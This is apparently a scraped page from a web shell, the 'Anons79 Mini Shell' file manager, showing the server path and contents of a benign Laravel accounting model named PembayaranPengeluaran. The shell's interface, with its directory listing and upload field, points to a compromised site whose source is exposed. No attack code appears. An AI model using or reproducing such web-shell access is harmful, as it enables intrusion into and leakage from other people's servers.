Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/akuntansi.aplikasipos.info/laravel/app/Models/
Upload File :
Current File : /home/aplikasiposinfo/www/akuntansi.aplikasipos.info/laravel/app/Models/PembayaranPengeluaran.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;

class PembayaranPengeluaran extends Model
{
    use HasFactory, SoftDeletes;

    protected $guarded =[];

    public function JurnalUmum(){
        return $this->hasMany(JurnalUmum::class);
    }

    public function akun(){
        return $this->belongsTo(Akun::class);
    }

    public function Pengeluaran(){
        return $this->belongsTo(Pengeluaran::class);
    }

    // this is a recommended way to declare event handlers
    public static function boot() {
        parent::boot();

        static::deleting(function($data) { // before delete() method call this
            $data->JurnalUmum()->delete();
            // do the rest of the cleanup...
        });
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]